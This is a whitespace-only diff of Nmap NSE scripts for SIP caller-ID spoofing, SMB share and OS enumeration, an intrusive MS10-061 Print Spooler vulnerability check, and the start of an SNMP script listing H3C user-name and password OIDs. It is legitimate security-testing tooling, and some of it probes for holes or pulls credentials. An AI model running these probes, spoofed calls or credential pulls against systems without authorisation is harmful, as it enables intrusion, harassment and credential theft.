local ua = stdnse.get_script_args(SCRIPT_NAME .. ".ua") or "Ekiga"
|
||||||
local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home"
|
local from = stdnse.get_script_args(SCRIPT_NAME .. ".from") or "Home"
|
||||||
local src = stdnse.get_script_args(SCRIPT_NAME .. ".src")
|
local src = stdnse.get_script_args(SCRIPT_NAME .. ".src")
|
||||||
local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100
|
local extension = stdnse.get_script_args(SCRIPT_NAME .. ".extension") or 100
|
||||||
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
|
||||||
|
|
||||||
-- Default timeout value = 5 seconds.
|
-- Default timeout value = 5 seconds.
|
||||||
timeout = (timeout or 5) * 1000
|
timeout = (timeout or 5) * 1000
|
||||||
|
|
||||||
session = sip.Session:new(host, port)
|
session = sip.Session:new(host, port)
|
||||||
status = session:connect()
|
status = session:connect()
|
||||||
if not status then
|
if not status then
|
||||||
return "ERROR: Failed to connect to the SIP server."
|
return "ERROR: Failed to connect to the SIP server."
|
||||||
|
end
|
||||||
|
|
||||||
|
local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout)
|
||||||
|
-- If we get a response, we set the port to open.
|
||||||
|
if result then
|
||||||
|
if nmap.get_port_state(host, port) ~= "open" then
|
||||||
|
nmap.set_port_state(host, port, "open")
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
local ringing, result, waittime = invitespoof(session, ua, from, src, extension, timeout)
|
-- We check for ringing to skip false positives.
|
||||||
-- If we get a response, we set the port to open.
|
if ringing then
|
||||||
if result then
|
if result == sip.Error.BUSY then
|
||||||
if nmap.get_port_state(host, port) ~= "open" then
|
return stdnse.format_output(true, "Target line is busy.")
|
||||||
nmap.set_port_state(host, port, "open")
|
elseif result == sip.Error.DECLINE then
|
||||||
end
|
return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
|
||||||
end
|
elseif result == sip.Error.OK then
|
||||||
|
return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
|
||||||
-- We check for ringing to skip false positives.
|
elseif result == sip.Error.TIMEOUT then
|
||||||
if ringing then
|
return stdnse.format_output(true, "Ringing, no answer.")
|
||||||
if result == sip.Error.BUSY then
|
elseif result == sip.Error.RING then
|
||||||
return stdnse.format_output(true, "Target line is busy.")
|
return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
|
||||||
elseif result == sip.Error.DECLINE then
|
|
||||||
return stdnse.format_output(true, ("Target declined the call. (After %.1f seconds)"):format(waittime / 1000))
|
|
||||||
elseif result == sip.Error.OK then
|
|
||||||
return stdnse.format_output(true, ("Target hung up. (After %.1f seconds)"):format(waittime / 1000))
|
|
||||||
elseif result == sip.Error.TIMEOUT then
|
|
||||||
return stdnse.format_output(true, "Ringing, no answer.")
|
|
||||||
elseif result == sip.Error.RING then
|
|
||||||
return stdnse.format_output(true, "Ringing, got no answer. (script timeout)")
|
|
||||||
end
|
|
||||||
else
|
|
||||||
stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.")
|
|
||||||
end
|
end
|
||||||
|
else
|
||||||
|
stdnse.print_debug(SCRIPT_NAME .. "Target phone didn't ring.")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -66,92 +66,92 @@ dependencies = {"smb-brute"}
|
|||||||
|
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return smb.get_port(host) ~= nil
|
return smb.get_port(host) ~= nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host)
|
action = function(host)
|
||||||
local status, shares, extra
|
local status, shares, extra
|
||||||
local response = {}
|
local response = {}
|
||||||
|
|
||||||
-- Get the list of shares
|
-- Get the list of shares
|
||||||
status, shares, extra = smb.share_get_list(host)
|
status, shares, extra = smb.share_get_list(host)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
|
return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Find out who the current user is
|
-- Find out who the current user is
|
||||||
local result, username, domain = smb.get_account(host)
|
local result, username, domain = smb.get_account(host)
|
||||||
if(result == false) then
|
if(result == false) then
|
||||||
username = "<unknown>"
|
username = "<unknown>"
|
||||||
domain = ""
|
domain = ""
|
||||||
end
|
end
|
||||||
|
|
||||||
if(extra ~= nil and extra ~= '') then
|
if(extra ~= nil and extra ~= '') then
|
||||||
table.insert(response, extra)
|
table.insert(response, extra)
|
||||||
end
|
end
|
||||||
|
|
||||||
for i = 1, #shares, 1 do
|
for i = 1, #shares, 1 do
|
||||||
local share = shares[i]
|
local share = shares[i]
|
||||||
local share_output = {}
|
local share_output = {}
|
||||||
share_output['name'] = share['name']
|
share_output['name'] = share['name']
|
||||||
|
|
||||||
if(type(share['details']) ~= 'table') then
|
if(type(share['details']) ~= 'table') then
|
||||||
share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
|
share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
|
||||||
else
|
else
|
||||||
local details = share['details']
|
local details = share['details']
|
||||||
|
|
||||||
table.insert(share_output, string.format("Type: %s", details['sharetype']))
|
table.insert(share_output, string.format("Type: %s", details['sharetype']))
|
||||||
table.insert(share_output, string.format("Comment: %s", details['comment']))
|
table.insert(share_output, string.format("Comment: %s", details['comment']))
|
||||||
table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
|
table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
|
||||||
table.insert(share_output, string.format("Path: %s", details['path']))
|
table.insert(share_output, string.format("Path: %s", details['path']))
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
-- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
|
-- A share of 'NT_STATUS_OBJECT_NAME_NOT_FOUND' indicates this isn't a fileshare
|
||||||
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
|
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
|
||||||
-- Print details for a non-file share
|
-- Print details for a non-file share
|
||||||
if(share['anonymous_can_read']) then
|
if(share['anonymous_can_read']) then
|
||||||
table.insert(share_output, "Anonymous access: READ <not a file share>")
|
table.insert(share_output, "Anonymous access: READ <not a file share>")
|
||||||
else
|
else
|
||||||
table.insert(share_output, "Anonymous access: <none> <not a file share>")
|
table.insert(share_output, "Anonymous access: <none> <not a file share>")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Don't bother printing this if we're already anonymous
|
-- Don't bother printing this if we're already anonymous
|
||||||
if(username ~= '') then
|
if(username ~= '') then
|
||||||
if(share['user_can_read']) then
|
if(share['user_can_read']) then
|
||||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
|
table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
|
||||||
else
|
else
|
||||||
table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
|
table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
-- Print details for a file share
|
-- Print details for a file share
|
||||||
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
|
if(share['anonymous_can_read'] and share['anonymous_can_write']) then
|
||||||
table.insert(share_output, "Anonymous access: READ/WRITE")
|
table.insert(share_output, "Anonymous access: READ/WRITE")
|
||||||
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
|
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
|
||||||
table.insert(share_output, "Anonymous access: READ")
|
table.insert(share_output, "Anonymous access: READ")
|
||||||
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
|
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
|
||||||
table.insert(share_output, "Anonymous access: WRITE")
|
table.insert(share_output, "Anonymous access: WRITE")
|
||||||
else
|
else
|
||||||
table.insert(share_output, "Anonymous access: <none>")
|
table.insert(share_output, "Anonymous access: <none>")
|
||||||
end
|
end
|
||||||
|
|
||||||
if(username ~= '') then
|
if(username ~= '') then
|
||||||
if(share['user_can_read'] and share['user_can_write']) then
|
if(share['user_can_read'] and share['user_can_write']) then
|
||||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
|
table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
|
||||||
elseif(share['user_can_read'] and not(share['user_can_write'])) then
|
elseif(share['user_can_read'] and not(share['user_can_write'])) then
|
||||||
table.insert(share_output, "Current user ('" .. username .. "') access: READ")
|
table.insert(share_output, "Current user ('" .. username .. "') access: READ")
|
||||||
elseif(not(share['user_can_read']) and share['user_can_write']) then
|
elseif(not(share['user_can_read']) and share['user_can_write']) then
|
||||||
table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
|
table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
|
||||||
else
|
else
|
||||||
table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
|
table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
table.insert(response, share_output)
|
table.insert(response, share_output)
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, response)
|
return stdnse.format_output(true, response)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -79,7 +79,7 @@ dependencies = {"smb-brute"}
|
|||||||
|
|
||||||
--- Check whether or not this script should be run.
|
--- Check whether or not this script should be run.
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return smb.get_port(host) ~= nil
|
return smb.get_port(host) ~= nil
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Some observed OS strings:
|
-- Some observed OS strings:
|
||||||
@@ -92,97 +92,97 @@ end
|
|||||||
-- http://msdn.microsoft.com/en-us/library/cc246806%28v=prot.20%29.aspx has a
|
-- http://msdn.microsoft.com/en-us/library/cc246806%28v=prot.20%29.aspx has a
|
||||||
-- list of strings that don't quite match these.
|
-- list of strings that don't quite match these.
|
||||||
function make_cpe(result)
|
function make_cpe(result)
|
||||||
local os = result.os
|
local os = result.os
|
||||||
local parts = {}
|
local parts = {}
|
||||||
|
|
||||||
if string.match(os, "^Windows 5%.0") then
|
if string.match(os, "^Windows 5%.0") then
|
||||||
parts = {"o", "microsoft", "windows_2000"}
|
parts = {"o", "microsoft", "windows_2000"}
|
||||||
elseif string.match(os, "^Windows 5%.1") then
|
elseif string.match(os, "^Windows 5%.1") then
|
||||||
parts = {"o", "microsoft", "windows_xp"}
|
parts = {"o", "microsoft", "windows_xp"}
|
||||||
elseif string.match(os, "^Windows Server.*2003") then
|
elseif string.match(os, "^Windows Server.*2003") then
|
||||||
parts = {"o", "microsoft", "windows_server_2003"}
|
parts = {"o", "microsoft", "windows_server_2003"}
|
||||||
elseif string.match(os, "^Windows Vista") then
|
elseif string.match(os, "^Windows Vista") then
|
||||||
parts = {"o", "microsoft", "windows_vista"}
|
parts = {"o", "microsoft", "windows_vista"}
|
||||||
elseif string.match(os, "^Windows Server.*2008") then
|
elseif string.match(os, "^Windows Server.*2008") then
|
||||||
parts = {"o", "microsoft", "windows_server_2008"}
|
parts = {"o", "microsoft", "windows_server_2008"}
|
||||||
elseif string.match(os, "^Windows 7") then
|
elseif string.match(os, "^Windows 7") then
|
||||||
parts = {"o", "microsoft", "windows_7"}
|
parts = {"o", "microsoft", "windows_7"}
|
||||||
elseif string.match(os, "^Windows Server.*2012") then
|
elseif string.match(os, "^Windows Server.*2012") then
|
||||||
parts = {"o", "microsoft", "windows_server_2012"}
|
parts = {"o", "microsoft", "windows_server_2012"}
|
||||||
end
|
end
|
||||||
|
|
||||||
if parts[1] == "o" and parts[2] == "microsoft"
|
if parts[1] == "o" and parts[2] == "microsoft"
|
||||||
and string.match(parts[3], "^windows") then
|
and string.match(parts[3], "^windows") then
|
||||||
parts[4] = ""
|
parts[4] = ""
|
||||||
local sp = string.match(os, "Service Pack (%d+)")
|
local sp = string.match(os, "Service Pack (%d+)")
|
||||||
if sp then
|
if sp then
|
||||||
parts[5] = "sp" .. tostring(sp)
|
parts[5] = "sp" .. tostring(sp)
|
||||||
else
|
else
|
||||||
parts[5] = "-"
|
parts[5] = "-"
|
||||||
end
|
end
|
||||||
if string.match(os, "Professional") then
|
if string.match(os, "Professional") then
|
||||||
parts[6] = "professional"
|
parts[6] = "professional"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if #parts > 0 then
|
if #parts > 0 then
|
||||||
return "cpe:/" .. stdnse.strjoin(":", parts)
|
return "cpe:/" .. stdnse.strjoin(":", parts)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
function add_to_output(output_table, label, value)
|
function add_to_output(output_table, label, value)
|
||||||
if value then
|
if value then
|
||||||
table.insert(output_table, string.format("%s: %s", label, value))
|
table.insert(output_table, string.format("%s: %s", label, value))
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host)
|
action = function(host)
|
||||||
local response = stdnse.output_table()
|
local response = stdnse.output_table()
|
||||||
local status, result = smb.get_os(host)
|
local status, result = smb.get_os(host)
|
||||||
|
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
return stdnse.format_output(false, result)
|
return stdnse.format_output(false, result)
|
||||||
end
|
end
|
||||||
|
|
||||||
-- Collect results.
|
-- Collect results.
|
||||||
response.os = result.os
|
response.os = result.os
|
||||||
response.lanmanager = result.lanmanager
|
response.lanmanager = result.lanmanager
|
||||||
response.domain = result.domain
|
response.domain = result.domain
|
||||||
response.server = result.server
|
response.server = result.server
|
||||||
if result.time and result.timezone then
|
if result.time and result.timezone then
|
||||||
response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60)
|
response.date = stdnse.format_timestamp(result.time, result.timezone * 60 * 60)
|
||||||
end
|
end
|
||||||
response.fqdn = result.fqdn
|
response.fqdn = result.fqdn
|
||||||
response.domain_dns = result.domain_dns
|
response.domain_dns = result.domain_dns
|
||||||
response.forest_dns = result.forest_dns
|
response.forest_dns = result.forest_dns
|
||||||
response.workgroup = result.workgroup
|
response.workgroup = result.workgroup
|
||||||
response.cpe = make_cpe(result)
|
response.cpe = make_cpe(result)
|
||||||
|
|
||||||
-- Build normal output.
|
-- Build normal output.
|
||||||
local output_lines = {}
|
local output_lines = {}
|
||||||
if response.os and response.lanmanager then
|
if response.os and response.lanmanager then
|
||||||
add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager))
|
add_to_output(output_lines, "OS", string.format("%s (%s)", smb.get_windows_version(response.os), response.lanmanager))
|
||||||
else
|
else
|
||||||
add_to_output(output_lines, "OS", "Unknown")
|
add_to_output(output_lines, "OS", "Unknown")
|
||||||
end
|
end
|
||||||
add_to_output(output_lines, "OS CPE", response.cpe)
|
add_to_output(output_lines, "OS CPE", response.cpe)
|
||||||
if response.fqdn then
|
if response.fqdn then
|
||||||
-- Pull the first part of the FQDN as the computer name.
|
-- Pull the first part of the FQDN as the computer name.
|
||||||
add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?"))
|
add_to_output(output_lines, "Computer name", string.match(response.fqdn, "^([^.]+)%.?"))
|
||||||
end
|
end
|
||||||
add_to_output(output_lines, "NetBIOS computer name", result.server)
|
add_to_output(output_lines, "NetBIOS computer name", result.server)
|
||||||
if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then
|
if response.fqdn and response.domain_dns and response.fqdn ~= response.domain_dns then
|
||||||
-- If the FQDN doesn't match the domain name, the target is a domain member.
|
-- If the FQDN doesn't match the domain name, the target is a domain member.
|
||||||
add_to_output(output_lines, "Domain name", response.domain_dns)
|
add_to_output(output_lines, "Domain name", response.domain_dns)
|
||||||
add_to_output(output_lines, "Forest name", response.forest_dns)
|
add_to_output(output_lines, "Forest name", response.forest_dns)
|
||||||
add_to_output(output_lines, "FQDN", response.fqdn)
|
add_to_output(output_lines, "FQDN", response.fqdn)
|
||||||
add_to_output(output_lines, "NetBIOS domain name", response.domain)
|
add_to_output(output_lines, "NetBIOS domain name", response.domain)
|
||||||
else
|
else
|
||||||
add_to_output(output_lines, "Workgroup", response.workgroup or response.domain)
|
add_to_output(output_lines, "Workgroup", response.workgroup or response.domain)
|
||||||
end
|
end
|
||||||
add_to_output(output_lines, "System time", response.date or "Unknown")
|
add_to_output(output_lines, "System time", response.date or "Unknown")
|
||||||
|
|
||||||
return response, stdnse.format_output(true, output_lines)
|
return response, stdnse.format_output(true, output_lines)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -21,9 +21,9 @@ which can be specified with smb library arguments smbuser and
|
|||||||
smbpassword.
|
smbpassword.
|
||||||
|
|
||||||
References:
|
References:
|
||||||
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
|
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729
|
||||||
- http://technet.microsoft.com/en-us/security/bulletin/MS10-061
|
- http://technet.microsoft.com/en-us/security/bulletin/MS10-061
|
||||||
- http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
|
- http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx
|
||||||
]]
|
]]
|
||||||
---
|
---
|
||||||
-- @usage nmap -p 445 <target> --script=smb-vuln-ms10-061
|
-- @usage nmap -p 445 <target> --script=smb-vuln-ms10-061
|
||||||
@@ -58,113 +58,113 @@ license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
|||||||
categories = {"vuln","intrusive"}
|
categories = {"vuln","intrusive"}
|
||||||
|
|
||||||
hostrule = function(host)
|
hostrule = function(host)
|
||||||
return smb.get_port(host) ~= nil
|
return smb.get_port(host) ~= nil
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host,port)
|
action = function(host,port)
|
||||||
|
|
||||||
local ms10_061 = {
|
local ms10_061 = {
|
||||||
title = "Print Spooler Service Impersonation Vulnerability",
|
title = "Print Spooler Service Impersonation Vulnerability",
|
||||||
IDS = {CVE = 'CVE-2010-2729'},
|
IDS = {CVE = 'CVE-2010-2729'},
|
||||||
risk_factor = "HIGH",
|
risk_factor = "HIGH",
|
||||||
scores = {
|
scores = {
|
||||||
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
|
CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
|
||||||
},
|
},
|
||||||
description = [[
|
description = [[
|
||||||
The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled,
|
The Print Spooler service in Microsoft Windows XP,Server 2003 SP2,Vista,Server 2008, and 7, when printer sharing is enabled,
|
||||||
does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory,
|
does not properly validate spooler access permissions, which allows remote attackers to create files in a system directory,
|
||||||
and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010,
|
and consequently execute arbitrary code, by sending a crafted print request over RPC, as exploited in the wild in September 2010,
|
||||||
aka "Print Spooler Service Impersonation Vulnerability."
|
aka "Print Spooler Service Impersonation Vulnerability."
|
||||||
]],
|
]],
|
||||||
references = {
|
references = {
|
||||||
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729',
|
'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2729',
|
||||||
'http://technet.microsoft.com/en-us/security/bulletin/MS10-061',
|
'http://technet.microsoft.com/en-us/security/bulletin/MS10-061',
|
||||||
'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx'
|
'http://blogs.technet.com/b/srd/archive/2010/09/14/ms10-061-printer-spooler-vulnerability.aspx'
|
||||||
},
|
},
|
||||||
dates = {
|
dates = {
|
||||||
disclosure = {year = '2010', month = '09', day = '5'},
|
disclosure = {year = '2010', month = '09', day = '5'},
|
||||||
},
|
},
|
||||||
exploit_results = {},
|
exploit_results = {},
|
||||||
}
|
}
|
||||||
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
local report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||||
ms10_061.state = vulns.STATE.NOT_VULN
|
ms10_061.state = vulns.STATE.NOT_VULN
|
||||||
local status, smbstate
|
local status, smbstate
|
||||||
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
|
status, smbstate = msrpc.start_smb(host, msrpc.SPOOLSS_PATH,true)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
stdnse.print_debug("SMB: " .. smbstate)
|
stdnse.print_debug("SMB: " .. smbstate)
|
||||||
return false, smbstate
|
return false, smbstate
|
||||||
end
|
end
|
||||||
|
|
||||||
local bind_result
|
local bind_result
|
||||||
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
|
status, bind_result = msrpc.bind(smbstate,msrpc.SPOOLSS_UUID, msrpc.SPOOLSS_VERSION, nil)
|
||||||
if(status == false) then
|
if(status == false) then
|
||||||
msrpc.stop_smb(smbstate)
|
msrpc.stop_smb(smbstate)
|
||||||
stdnse.print_debug("SMB: " .. bind_result)
|
stdnse.print_debug("SMB: " .. bind_result)
|
||||||
return false, bind_result
|
return false, bind_result
|
||||||
end
|
end
|
||||||
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
|
local printer = stdnse.get_script_args(SCRIPT_NAME .. '.printer')
|
||||||
-- if printer not set find available printers
|
-- if printer not set find available printers
|
||||||
if not printer then
|
if not printer then
|
||||||
stdnse.print_debug("No printer specified, trying to find one...")
|
stdnse.print_debug("No printer specified, trying to find one...")
|
||||||
local lanman_result
|
local lanman_result
|
||||||
local REMSmb_NetShareEnum_P = "WrLeh"
|
local REMSmb_NetShareEnum_P = "WrLeh"
|
||||||
local REMSmb_share_info_1 = "B13BWz"
|
local REMSmb_share_info_1 = "B13BWz"
|
||||||
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
|
status, lanman_result = msrpc.call_lanmanapi(smbstate,0,REMSmb_NetShareEnum_P,REMSmb_share_info_1,bin.pack("ss",0x01,65406))
|
||||||
if status == false then
|
if status == false then
|
||||||
stdnse.print_debug("SMB: " .. lanman_result)
|
stdnse.print_debug("SMB: " .. lanman_result)
|
||||||
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
|
stdnse.print_debug("SMB: Looks like LANMAN API is not available. Try setting printer script arg.")
|
||||||
end
|
end
|
||||||
|
|
||||||
local parameters = lanman_result.parameters
|
local parameters = lanman_result.parameters
|
||||||
local data = lanman_result.data
|
local data = lanman_result.data
|
||||||
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
|
local pos, status, convert, entry_count, available_entries = bin.unpack("<SSSS", parameters)
|
||||||
pos = 0
|
pos = 0
|
||||||
local share_type, name, _
|
local share_type, name, _
|
||||||
for i = 1, entry_count, 1 do
|
for i = 1, entry_count, 1 do
|
||||||
_,share_type = bin.unpack(">s",data,pos+14)
|
_,share_type = bin.unpack(">s",data,pos+14)
|
||||||
pos, name = bin.unpack("<z", data, pos)
|
pos, name = bin.unpack("<z", data, pos)
|
||||||
|
|
||||||
-- pos needs to be rounded to the next even multiple of 20
|
-- pos needs to be rounded to the next even multiple of 20
|
||||||
pos = pos + ( 20 - (#name % 20) ) - 1
|
pos = pos + ( 20 - (#name % 20) ) - 1
|
||||||
if share_type == 1 then -- share is printer
|
if share_type == 1 then -- share is printer
|
||||||
stdnse.print_debug("Found printer share %s.", name)
|
stdnse.print_debug("Found printer share %s.", name)
|
||||||
printer = name
|
printer = name
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
if not printer then
|
if not printer then
|
||||||
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
|
stdnse.print_debug("No printer found, system may be unpached but it needs at least one printer shared to be vulnerable.")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
stdnse.print_debug("Using %s as printer.",printer)
|
stdnse.print_debug("Using %s as printer.",printer)
|
||||||
-- call RpcOpenPrinterEx - opnum 69
|
-- call RpcOpenPrinterEx - opnum 69
|
||||||
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
|
local status, result = msrpc.spoolss_open_printer(smbstate,"\\\\"..host.ip.."\\"..printer)
|
||||||
if not status then
|
if not status then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local printer_handle = string.sub(result.data,25,#result.data-4)
|
local printer_handle = string.sub(result.data,25,#result.data-4)
|
||||||
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
|
stdnse.print_debug("Printer handle %s",stdnse.tohex(printer_handle))
|
||||||
-- call RpcStartDocPrinter - opnum 17
|
-- call RpcStartDocPrinter - opnum 17
|
||||||
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this
|
status,result = msrpc.spoolss_start_doc_printer(smbstate,printer_handle,",") -- patched version will allow this
|
||||||
if not status then
|
if not status then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local print_job_id = string.sub(result.data,25,#result.data-4)
|
local print_job_id = string.sub(result.data,25,#result.data-4)
|
||||||
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
|
stdnse.print_debug("Start doc printer job id %s",stdnse.tohex(print_job_id))
|
||||||
|
|
||||||
-- call RpcWritePrinter - 19
|
-- call RpcWritePrinter - 19
|
||||||
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa")
|
status, result = msrpc.spoolss_write_printer(smbstate,printer_handle,"aaaa")
|
||||||
if not status then
|
if not status then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
local write_result = string.sub(result.data,25,#result.data-4)
|
local write_result = string.sub(result.data,25,#result.data-4)
|
||||||
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
|
stdnse.print_debug("Written %s bytes to a file.",stdnse.tohex(write_result))
|
||||||
if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written
|
if stdnse.tohex(write_result) == "00000000" then -- patched version would report 4 bytes written
|
||||||
ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version
|
ms10_061.state = vulns.STATE.VULN -- identified by diffing patched an unpatched version
|
||||||
end
|
end
|
||||||
-- call abort_printer to stop the actuall printing in case the remote system is not vulnerable
|
-- call abort_printer to stop the actuall printing in case the remote system is not vulnerable
|
||||||
-- we care about the environment and don't want to spend more paper then needed :)
|
-- we care about the environment and don't want to spend more paper then needed :)
|
||||||
status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle)
|
status,result = msrpc.spoolss_abort_printer(smbstate,printer_handle)
|
||||||
|
|
||||||
return report:make_output(ms10_061)
|
return report:make_output(ms10_061)
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -62,13 +62,13 @@ portrule = shortport.portnumber(161, "udp", {"open", "open|filtered"})
|
|||||||
-- @return value of relevant type or nil if oid was not found
|
-- @return value of relevant type or nil if oid was not found
|
||||||
function get_value_from_table( tbl, oid )
|
function get_value_from_table( tbl, oid )
|
||||||
|
|
||||||
for _, v in ipairs( tbl ) do
|
for _, v in ipairs( tbl ) do
|
||||||
if v.oid == oid then
|
if v.oid == oid then
|
||||||
return v.value
|
return v.value
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
end
|
end
|
||||||
|
|
||||||
--- Processes the table and creates the script output
|
--- Processes the table and creates the script output
|
||||||
@@ -77,81 +77,81 @@ end
|
|||||||
-- @return <code>stdnse.output_table</code> formatted table
|
-- @return <code>stdnse.output_table</code> formatted table
|
||||||
function process_answer( tbl )
|
function process_answer( tbl )
|
||||||
|
|
||||||
-- h3c-user MIB OIDs (oldoid)
|
-- h3c-user MIB OIDs (oldoid)
|
||||||
local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
|
local h3cUserName = "1.3.6.1.4.1.2011.10.2.12.1.1.1.1"
|
||||||
local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
|
local h3cUserPassword = "1.3.6.1.4.1.2011.10.2.12.1.1.1.2"
|
||||||
local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4"
|
local h3cUserLevel = "1.3.6.1.4.1.2011.10.2.12.1.1.1.4"
|
||||||
local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5"
|
local h3cUserState = "1.3.6.1.4.1.2011.10.2.12.1.1.1.5"
|
||||||
|
|
||||||
-- hh3c-user MIB OIDs (newoid)
|
-- hh3c-user MIB OIDs (newoid)
|
||||||
local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1"
|
local hh3cUserName = "1.3.6.1.4.1.25506.2.12.1.1.1.1"
|
||||||
local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2"
|
local hh3cUserPassword = "1.3.6.1.4.1.25506.2.12.1.1.1.2"
|
||||||
